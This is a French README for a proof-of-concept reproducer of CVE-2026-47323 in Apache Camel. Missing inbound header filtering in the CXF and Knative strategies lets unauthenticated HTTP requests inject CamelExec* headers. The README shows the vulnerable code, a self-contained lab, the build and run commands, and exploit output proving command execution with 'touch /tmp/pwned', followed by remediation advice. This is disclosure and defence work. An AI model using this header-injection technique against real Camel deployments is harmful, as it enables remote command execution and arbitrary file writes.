
Reproducteur pour CVE-2026-47323 : HeaderFilterStrategy CXF/Knative d'Apache Camel manquant de filtrage entrant, permettant une injection d'en-tête de contrôle Camel (RCE via camel-exec) via les points de terminaison CXF-RS/CXF-SOAP/Knative (corrigé dans 4.14.6/4.18.2/4.19.0)
Ce projet démontre une injection d'en-tête de message dans les stratégies de filtrage d'en-tête HTTP CXF et Knative d'Apache Camel, suivie sous le nom CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy (camel-cxf-transport) et KnativeHttpHeaderFilterStrategy (camel-knative-http) ne filtrent que les en-têtes internes sortants de Camel (setOutFilterStartsWith), tout en ne configurant pas le filtrage entrant (setInFilterStartsWith). En conséquence, un attaquant non authentifié peut injecter des en-têtes internes de Camel (par ex. CamelExecCommandExecutable, CamelFileName) via des requêtes HTTP vers des points de terminaison CXF-RS ou CXF-SOAP. Lorsqu'une route transmet les messages de ces points de terminaison à des composants pilotés par en-tête tels que camel-exec ou camel-file, les en-têtes injectés remplacent les valeurs configurées — permettant une ou des écritures arbitraires de fichiers.
Cette POC utilise la surface CXF-RS (JAX-RS) : un CamelExecCommandExecutable injecté transforme un echo inoffensif en exécution de commande arbitraire.
| Propriété | Valeur |
|---|---|
| Composant | camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy) |
| CWE | CWE-20: Validation incorrecte des entrées |
| Impact | Injecter des en-têtes de contrôle Camel via une requête HTTP → remplacer un producteur aval piloté par en-tête → RCE (camel-exec) ou écriture arbitraire de fichier (camel-file) |
| Prérequis | Un point de terminaison CXF-RS / CXF-SOAP / Knative transférant à un producteur piloté par en-tête ; non authentifié lorsque le point de terminaison l'est |
| Versions affectées | De 3.18.0 avant 4.14.6, de 4.15.0 avant 4.18.2, 4.19.0 (corrigé dans 4.19.0) |
| Versions corrigées | 4.14.6, 4.18.2, 4.19.0 |
| Crédit | Quac Tran |
Ce reproducteur épingle camel 4.18.1 — la dernière version affectée sur la ligne 4.18.x (le correctif est arrivé dans 4.18.2). Même schéma que camel-undertow (CVE-2025-30177), le filtre d'en-tête entrant plus large (CVE-2025-27636, CVE-2025-29891) et les stratégies non-HTTP (CVE-2026-40453).
// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)
// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
|| entry.getValue().isEmpty()) {
// dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
} else {
camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // <-- injected header lands here
}
}
Le correctif (4.14.6 / 4.18.2 / 4.19.0) ajoute setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) à ces stratégies, de sorte que les en-têtes entrants Camel* / camel* sont supprimés.
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
.to("exec:echo?args=hello") // the author's fixed, harmless command
.setBody(constant("ok\n"));
Un point de terminaison JAX-RS (GET /service/api/ping) dont les requêtes sont transmises à une commande shell fixe. Le producteur camel-exec honore un en-tête entrant CamelExecCommandExecutable de préférence au echo configuré.
Tout fonctionne dans une application autonome : le point de terminaison CXF-RS, le puits camel-exec et le pilote attaquant.
CVE-2026-47323/
├── pom.xml # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── ApiResource.java # JAX-RS contract: GET /api/ping
│ ├── VictimRoute.java # cxfrs consumer -> exec:echo
│ └── ExploitController.java # attacker: GET /ping with injected CamelExec* headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned # created by the injected command
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
marker before: false
=== 1) Legitimate request (no injected headers) ===
response: ok
marker created: false
=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
response: ok
marker created: true
>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true
Toute route qui transmet des messages d'un point de terminaison CXF-RS, CXF-SOAP ou Knative-HTTP à un producteur piloté par en-tête. Au-delà de CamelExecCommandExecutable (RCE via camel-exec), CamelFileName permet des écritures arbitraires de fichiers via camel-file, et d'autres en-têtes de contrôle Camel* peuvent orienter d'autres producteurs.
Mettez à jour vers 4.14.6 / 4.18.2 / 4.19.0. Les stratégies affectées configurent alors setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH), supprimant les en-têtes entrants Camel*.
En attendant la mise à jour, supprimez les en-têtes de contrôle Camel des messages entrants avant tout producteur aval (.removeHeaders("Camel*") et .removeHeaders("camel*") au début de la route), et exigez l'authentification sur le point de terminaison CXF / Knative.
Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité divulguée publiquement et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.